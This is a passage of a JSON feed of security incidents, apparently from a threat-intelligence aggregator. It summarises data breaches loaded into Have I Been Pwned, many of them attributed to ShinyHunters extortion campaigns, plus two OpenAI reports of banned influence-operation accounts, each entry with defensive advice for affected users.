organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-07T06:16:36.000Z","updatedAt":"2026-06-07T06:16:36.000Z","regions":["Global"],"vendor":"bakerdist.com","product":null,"stacks":["Bakerdist.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Baker Distributing","url":"https://haveibeenpwned.com/Breach/BakerDistributing","type":"primary","publishedAt":"2026-06-07T06:16:36.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-bcdtravel","cveId":null,"aliases":["BCDTravel"],"kind":"breach","title":"BCD Travel breach: 396,313 accounts exposed","summary":"In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters \"pay or leak\" extortion campaign . Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-29; loaded 2026-06-05. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-05T06:53:15.000Z","updatedAt":"2026-06-05T06:53:15.000Z","regions":["Global"],"vendor":"bcdtravel.com","product":null,"stacks":["Bcdtravel.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: BCD Travel","url":"https://haveibeenpwned.com/Breach/BCDTravel","type":"primary","publishedAt":"2026-06-05T06:53:15.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-edmunds","cveId":null,"aliases":["Edmunds"],"kind":"breach","title":"Edmunds breach: 177,860 accounts exposed","summary":"In January 2026, the automotive research and car-shopping platform Edmunds was listed by the ShinyHunters hacking group as having been breached . Data purportedly obtained in the incident was later published publicly and included 178k unique email addresses, usernames, passwords, IP addresses, phone numbers and vehicle-related records.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-24; loaded 2026-06-01. Exposed data: Device information, Email addresses, IP addresses, Passwords, Phone numbers, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-06-01T07:39:02.000Z","updatedAt":"2026-06-01T07:42:03.000Z","regions":["Global"],"vendor":"edmunds.com","product":null,"stacks":["Edmunds.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Edmunds","url":"https://haveibeenpwned.com/Breach/Edmunds","type":"primary","publishedAt":"2026-06-01T07:39:02.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-data-center-bandwagon-b6a1a5c9851a","cveId":null,"aliases":[],"kind":"ai-incident","title":"“Data Center Bandwagon” Campaign: US-targeted influence activity","summary":"OpenAI banned a likely PRC-origin cluster using AI to generate social media content criticizing US data centers and AI infrastructure.","detail":"OpenAI banned a likely PRC-origin cluster using AI to generate social media content criticizing US data centers and AI infrastructure.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-data-center-bandwagon"},"sources":[{"name":"OpenAI: “Data Center Bandwagon” Campaign: US-targeted influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-data-center-bandwagon","type":"primary","publishedAt":"2026-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-tech-and-tariffs-9be2f103fbe5","cveId":null,"aliases":[],"kind":"ai-incident","title":"“Tech and Tariffs” Campaign: Influence activity targeting US tech policy","summary":"OpenAI banned likely PRC-origin accounts using AI to create comments and cartoons about US tech policy, tariffs, and trade restrictions.","detail":"OpenAI banned likely PRC-origin accounts using AI to create comments and cartoons about US tech policy, tariffs, and trade restrictions.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2026-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-tech-and-tariffs"},"sources":[{"name":"OpenAI: “Tech and Tariffs” Campaign: Influence activity targeting US tech policy","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-tech-and-tariffs","type":"primary","publishedAt":"2026-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-atlasmenu","cveId":null,"aliases":["AtlasMenu"],"kind":"breach","title":"Atlas Menu breach: 63,926 accounts exposed","summary":"In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-30; loaded 2026-05-30. Exposed data: Email addresses, IP addresses, Passwords, Support tickets, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-30T23:35:29.000Z","updatedAt":"2026-05-30T23:35:29.000Z","regions":["Global"],"vendor":"atlasmenu.net","product":null,"stacks":["Atlasmenu.net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Atlas Menu","url":"https://haveibeenpwned.com/Breach/AtlasMenu","type":"primary","publishedAt":"2026-05-30T23:35:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-charter","cveId":null,"aliases":["Charter"],"kind":"breach","title":"Charter breach: 4,851,517 accounts exposed","summary":"In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a \"pay or leak\" extortion campaign . The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-23; loaded 2026-05-28. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-28T20:00:34.000Z","updatedAt":"2026-05-28T20:01:50.000Z","regions":["Global"],"vendor":"charter.com","product":null,"stacks":["Charter.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Charter","url":"https://haveibeenpwned.com/Breach/Charter","type":"primary","publishedAt":"2026-05-28T20:00:34.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-kemper","cveId":null,"aliases":["Kemper"],"kind":"breach","title":"Kemper breach: 269,299 accounts exposed","summary":"In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a \"pay or leak\" extortion campaign . The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-15; loaded 2026-05-28. Exposed data: Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-28T07:22:18.000Z","updatedAt":"2026-05-28T07:22:18.000Z","regions":["Global"],"vendor":"kemper.com","product":null,"stacks":["Kemper.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Kemper","url":"https://haveibeenpwned.com/Breach/Kemper","type":"primary","publishedAt":"2026-05-28T07:22:18.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-mytheresa","cveId":null,"aliases":["Mytheresa"],"kind":"breach","title":"Mytheresa breach: 84,108 accounts exposed","summary":"In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters \"pay or leak\" extortion group . After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-12; loaded 2026-05-27. Exposed data: Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-27T05:17:45.000Z","updatedAt":"2026-05-27T05:17:45.000Z","regions":["Global"],"vendor":"mytheresa.com","product":null,"stacks":["Mytheresa.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Mytheresa","url":"https://haveibeenpwned.com/Breach/Mytheresa","type":"primary","publishedAt":"2026-05-27T05:17:45.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-ameriprise","cveId":null,"aliases":["Ameriprise"],"kind":"breach","title":"Ameriprise breach: 502,597 accounts exposed","summary":"In March 2026, the financial services firm Ameriprise Financial was named by the ShinyHunters group in a \"pay or leak\" extortion campaign . The group claimed possession of more than 200GB of compressed data exfiltrated from Ameriprise's Salesforce environment and internal SharePoint infrastructure, and subsequently published the data after negotiations allegedly failed. The published data contained 500k unique email addresses as well as names, phone numbers, physical addresses and employer information. In their disclosure to state attorneys general , Ameriprise reported 47,876 affected people; the larger email address population represents contacts from Ameriprise's broader operational systems, including internal staff. Ameriprise further advised that they have \"implemented heightened monitoring of your account(s) to include enhanced identity verification procedures\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-02; loaded 2026-05-26. Exposed data: Email addresses, Employers, Financial transactions, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-26T22:03:42.000Z","updatedAt":"2026-05-26T22:03:42.000Z","regions":["Global"],"vendor":"ameriprise.com","product":null,"stacks":["Ameriprise.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Ameriprise","url":"https://haveibeenpwned.com/Breach/Ameriprise","type":"primary","publishedAt":"2026-05-26T22:03:42.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-7-eleven","cveId":null,"aliases":["7-Eleven"],"kind":"breach","title":"7-Eleven breach: 185,256 accounts exposed","summary":"In April 2026, 7-Eleven was the victim of a \"pay or leak\" extortion campaign by ShinyHunters , with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to \"certain 7-Eleven systems used to store franchisee documents\", a statement consistent with the exposed data.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-08; loaded 2026-05-24. Exposed data: Dates of birth, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-24T05:15:22.000Z","updatedAt":"2026-05-24T05:15:22.000Z","regions":["Global"],"vendor":"7-eleven.com","product":null,"stacks":["7-eleven.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: 7-Eleven","url":"https://haveibeenpwned.com/Breach/7-Eleven","type":"primary","publishedAt":"2026-05-24T05:15:22.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-dragonica","cveId":null,"aliases":["Dragonica"],"kind":"breach","title":"Dragonica Lunaris breach: 126,293 accounts exposed","summary":"In December 2025, the European Dragonica private server Dragonica Lunaris suffered a data breach. The incident exposed 126k email addresses, usernames, dates of birth and bcrypt password hashes. The service operator confirmed the breach and advised it has since been fixed.","detail":"Verified by Have I Been Pwned. Breach date: 2025-12-06; loaded 2026-05-21. Exposed data: Dates of birth, Email addresses, Names, Passwords, Spoken languages, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-21T04:41:32.000Z","updatedAt":"2026-05-21T04:44:28.000Z","regions":["Global"],"vendor":"playdragonica.eu","product":null,"stacks":["Playdragonica.eu"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Dragonica Lunaris","url":"https://haveibeenpwned.com/Breach/Dragonica","type":"primary","publishedAt":"2026-05-21T04:41:32.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-ctt","cveId":null,"aliases":["CTT"],"kind":"breach","title":"CTT breach: 468,124 accounts exposed","summary":"In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum . The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-26; loaded 2026-05-19. Exposed data: Email addresses, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-19T00:28:54.000Z","updatedAt":"2026-05-19T00:28:54.000Z","regions":["Global"],"vendor":"ctt.pt","product":null,"stacks":["Ctt.pt"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: CTT","url":"https://haveibeenpwned.com/Breach/CTT","type":"primary","publishedAt":"2026-05-19T00:28:54.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-addi","cveId":null,"aliases":["ADDI"],"kind":"breach","title":"Addi breach: 34,532,941 accounts exposed","summary":"In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that \"it is possible that your personal information may have been compromised\". The \"pay or leak\" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-25; loaded 2026-05-18. Exposed data: Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-18T20:55:51.000Z","updatedAt":"2026-05-18T21:00:33.000Z","regions":["Global"],"vendor":"addi.com","product":null,"stacks":["Addi.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Addi","url":"https://haveibeenpwned.com/Breach/ADDI","type":"primary","publishedAt":"2026-05-18T20:55:51.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-abrigo","cveId":null,"aliases":["Abrigo"],"kind":"breach","title":"Abrigo breach: 711,099 accounts exposed","summary":"In April 2026, the fintech software company Abrigo was targeted in a \"pay or leak\" extortion attempt by the ShinyHunters group . Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year , the data fields described in that incident are consistent with the ShinyHunters data, namely that it was \"business contact information\" including \"institution name, employee name, email addresses, and phone numbers\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-14; loaded 2026-05-14. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-14T03:37:50.000Z","updatedAt":"2026-05-14T03:37:50.000Z","regions":["Global"],"vendor":"abrigo.com","product":null,"stacks":["Abrigo.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Abrigo","url":"https://haveibeenpwned.com/Breach/Abrigo","type":"primary","publishedAt":"2026-05-14T03:37:50.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-cushmanwakefield","cveId":null,"aliases":["CushmanWakefield"],"kind":"breach","title":"Cushman & Wakefield breach: 310,431 accounts exposed","summary":"In May 2026, the real estate services firm Cushman & Wakefield was the target of a \"pay or leak\" extortion campaign by the ShinyHunters group . Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.","detail":"Verified by Have I Been Pwned. Breach date: 2026-05-05; loaded 2026-05-12. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-12T06:58:16.000Z","updatedAt":"2026-05-12T06:58:16.000Z","regions":["Global"],"vendor":"cushmanwakefield.com","product":null,"stacks":["Cushmanwakefield.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Cushman & Wakefield","url":"https://haveibeenpwned.com/Breach/CushmanWakefield","type":"primary","publishedAt":"2026-05-12T06:58:16.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-zara","cveId":null,"aliases":["Zara"],"kind":"breach","title":"Zara breach: 197,376 accounts exposed","summary":"In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their \"pay or leak\" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information .","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-15; loaded 2026-05-08. Exposed data: Email addresses, Geographic locations, Purchases, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-08T07:14:22.000Z","updatedAt":"2026-05-08T07:14:22.000Z","regions":["Global"],"vendor":"zara.com","product":null,"stacks":["Zara.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Zara","url":"https://haveibeenpwned.com/Breach/Zara","type":"primary","publishedAt":"2026-05-08T07:14:22.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-woflow","cveId":null,"aliases":["Woflow"],"kind":"breach","title":"Woflow breach: 447,593 accounts exposed","summary":"In March 2026, the AI-driven merchant data platform Woflow was named as a victim by the ShinyHunters data extortion group . The group subsequently published tens of thousands of files allegedly obtained from the company, comprising more than 2TB of data. The trove included hundreds of thousands of email addresses, names, phone numbers and physical addresses, with the data indicating it related to Woflow customers and, in turn, the customers of merchants using their platform.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-04; loaded 2026-05-07. Exposed data: Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's 